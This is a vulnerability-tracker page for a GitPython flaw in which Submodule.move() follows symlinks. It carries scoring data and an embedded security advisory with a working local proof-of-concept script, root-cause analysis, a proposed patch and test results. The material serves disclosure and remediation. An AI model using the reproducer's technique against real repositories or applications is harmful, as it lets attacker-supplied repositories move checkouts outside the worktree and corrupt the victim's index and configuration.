CVE-2026-110860

mediumpriority · track · 24EPSS 0.002 · 8 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.19% (8th) EPSS
CVSS 6.1 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

GitPython from 3.1.62 before 3.2.0 contains a symlink-following flaw in Submodule.move(), which checks the destination only lexically and does not reject symbolic links in intermediate path components. An untrusted repository can commit a symlink such as vendor pointing outside the worktree, so an application moving an initialized submodule beneath it relocates the checkout externally and corrupts the index and .gitmodules.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.9
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.1mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:Lprimary · disclosure@vulncheck.comexploitability 1.8 · impact 4.2
v4.06.9mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.04.4mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-gq48-pqfc-9p58GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree2026-10-27ghsa · osvUS

    ## Summary GitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree. The reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree. The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required. ## Trust boundary and preconditions The attacker controls: - an untrusted Git repository that the application clones; - a mode-`120000` tracked symlink named `vendor`; - the initialized submodule's content. The consuming application controls the call and uses a fixed layout rule: ```python submodule.move("vendor/module") ``` The trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path. ## Product and directly verified revisions - Package: `GitPython` (`pip` ecosystem) - Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50` - Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124` - Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c` - Upstream state rechecked: 2026-09-10 KST Only these two revisions were directly tested. ## Severity and weakness The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state. For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow. No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated. ## Reproducer The following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration. Run it from a fresh source checkout: ```bash git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git python3 poc.py /path/to/GitPython python3 poc.py --absolute-link /path/to/GitPython ``` `--absolute-link` commits the temporary external directory's absolute path instead of `../outside`. ```python #!/usr/bin/env python3 """Local-only reproducer for GitPython Submodule.move() symlink traversal.""" from __future__ import annotations import argparse import json import subprocess import sys import tempfile from pathlib import Path from typing import Optional def run_git( *args: str, cwd: Optional[Path] = None, check: bool = True ) -> subprocess.CompletedProcess: command = [ "git", "-c", "user.name=GitPython security fixture", "-c", "user.email=fixture@example.invalid", "-c", "protocol.file.allow=always", *args, ] return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True) def read_core_worktree(parent) -> str: module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config" return parent.git.config("--file", str(module_config), "--get", "core.worktree") def read_gitmodules_path(parent) -> str: modules_file = Path(parent.working_tree_dir) / ".gitmodules" return parent.git.config( "--file", str(modules_file), "--get", "submodule.logical-name.path" ) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("source_root", type=Path, help="GitPython source checkout") parser.add_argument( "--absolute-link", action="store_true", help=( "Use the temporary external directory's absolute path as the committed " "symlink target" ), ) args = parser.parse_args() source_root = args.source_root.resolve() # The tested GitPython source trees include gitdb and smmap at their roots. sys.path[:0] = [ str(source_root), str(source_root / "gitdb"), str(source_root / "smmap"), ] import gitdb # pylint: disable=import-outside-toplevel import smmap # pylint: disable=import-outside-toplevel from git import Repo # pylint: disable=import-outside-toplevel with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary: root = Path(temporary) module_source = root / "module-source" attacker = root / "attacker-parent" victim = root / "victim-parent" outside = root / "outside" run_git("init", "--quiet", str(module_source)) (module_source / "SELF_GENERATED_CANARY.txt").write_text( "SELF_GENERATED_CANARY\n", encoding="utf-8" ) run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source) run_git("commit", "--quiet", "-m", "fixture", cwd=module_source) outside.mkdir() run_git("init", "--quiet", str(attacker)) run_git( "submodule", "add", "--quiet", "--name", "logical-name", str(module_source), "module", cwd=attacker, ) link_target = str(outside.resolve()) if args.absolute_link else "../outside" (attacker / "vendor").symlink_to(link_target, target_is_directory=True) run_git("add", ".gitmodules", "module", "vendor", cwd=attacker) run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker) run_git("clone", "--quiet", str(attacker), str(victim)) run_git("submodule", "update", "--init", "--quiet", cwd=victim) parent = Repo(victim) submodule = parent.submodule("logical-name") before = { "status": parent.git.status("--porcelain"), "write_tree": parent.git.write_tree(), "vendor_index": parent.git.ls_files("--stage", "vendor"), "index_paths": parent.git.ls_files().splitlines(), "gitmodules_path": read_gitmodules_path(parent), "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(), "external_canary": ( outside / "module" / "SELF_GENERATED_CANARY.txt" ).exists(), "module_core_worktree": read_core_worktree(parent), } error = None try: submodule.move( "vendor/module" ) # Fixed application value; attacker does not control it. # Capture the exact type and text so a patched rejection remains visible. except Exception as exception: error = {"type": type(exception).__name__, "message": str(exception)} write_tree = None write_tree_error = None try: write_tree = parent.git.write_tree() except Exception as exception: write_tree_error = { "type": type(exception).__name__, "message": str(exception), } result = { "imported_modules": { "git": str(Path(sys.modules["git"].__file__).resolve()), "gitdb": str(Path(gitdb.__file__).resolve()), "smmap": str(Path(smmap.__file__).resolve()), }, "committed_symlink_target": link_target, "before": before, "call_error": error, "after": { "status": parent.git.status("--porcelain"), "source_canary": ( victim / "module" / "SELF_GENERATED_CANARY.txt" ).exists(), "external_canary": ( outside / "module" / "SELF_GENERATED_CANARY.txt" ).exists(), "index_paths": parent.git.ls_files().splitlines(), "gitmodules": (victim / ".gitmodules").read_text(encoding="utf-8"), "gitmodules_path": read_gitmodules_path(parent), "submodule_path": submodule.path, "module_core_worktree": read_core_worktree(parent), "write_tree": write_tree, "write_tree_error": write_tree_error, }, } print(json.dumps(result, indent=2, sort_keys=True)) parent.close() return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## Observed result The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions: | State | Before | After unpatched `move()` | | --- | --- | --- | | API result | not called | returns successfully | | Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone | | External destination | `outside/module` absent | canary exists under `outside/module` | | Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` | | `.gitmodules` path | `module` | `vendor/module` | | module `core.worktree` | `../../../module` | `../../../vendor/module` | | `git write-tree` | succeeds | fails | The failure after the move is: ```text You have both vendor and vendor/module fatal: git-write-tree: error building trees ``` The tracked attacker input is present in the clean clone before the call: ```text 120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor ``` With the proposed patch, the same calls raise before mutation: ```text ValueError: Submodule checkout path 'vendor/module' contains a symbolic link ``` The checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds. ## Root cause `Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link. The relevant helper is `git.util._to_relative_path()`: ```python root_abs = osp.abspath(os.fspath(root)) path_abs = osp.abspath(osp.join(root_abs, path_str)) common_path = osp.commonpath([root_abs, path_abs]) if common_path != root_abs: raise ValueError(...) relative_path = to_native_path_linux(osp.relpath(path_abs, root_abs)) ``` `Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`: ```python module_checkout_path = self._to_relative_path(self.repo, module_path) ... module_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path) ... os.renames(cur_path, module_checkout_abspath) ``` The operating system resolves `vendor/module` through the checked-out `vendor` link at that point. GitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard. ## Suggested fix The proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It: - normalizes the destination exactly once; - preserves the existing early return for a no-op move; - rejects symbolic links in every intermediate destination component; - preserves existing final-component symlink behavior; - leaves `Submodule.abspath`'s all-component guard intact. The final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link. The component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`. ## Validation The strict clean-clone proof was run with both relative and absolute committed symlink targets: | Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched | | --- | --- | --- | --- | --- | | 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation | | `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation | Both platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`. Pinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`. The documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries. The revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover: - relative and absolute ordinary moves from an external process working directory; - relative and absolute no-op ordering; - no-op compatibility when the stored path includes an existing symlink; - the unchanged `Submodule.abspath` leaf-link guard; - relative and absolute intermediate-link rejection before rename; - empty-directory, non-empty-directory, file, and dangling final-component link behavior. Ruff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above. Additional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof. ## Impact limits and compatibility observations - An existing destination file and an existing non-empty destination directory are preserved and rejected. - A missing or empty leaf below an external symlink target can be populated. - `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path. - `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger. - The proof does not require or demonstrate a local race. - The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim. - The exact affected history before 3.1.62 has not been established. ## AI assistance and credit This report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof. Requested credit: GitHub user `dpfkdlemtp`.

06

sources

Which sources assert this record, and when.

published 2026-10-14modified 2026-10-26
07

references (2) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan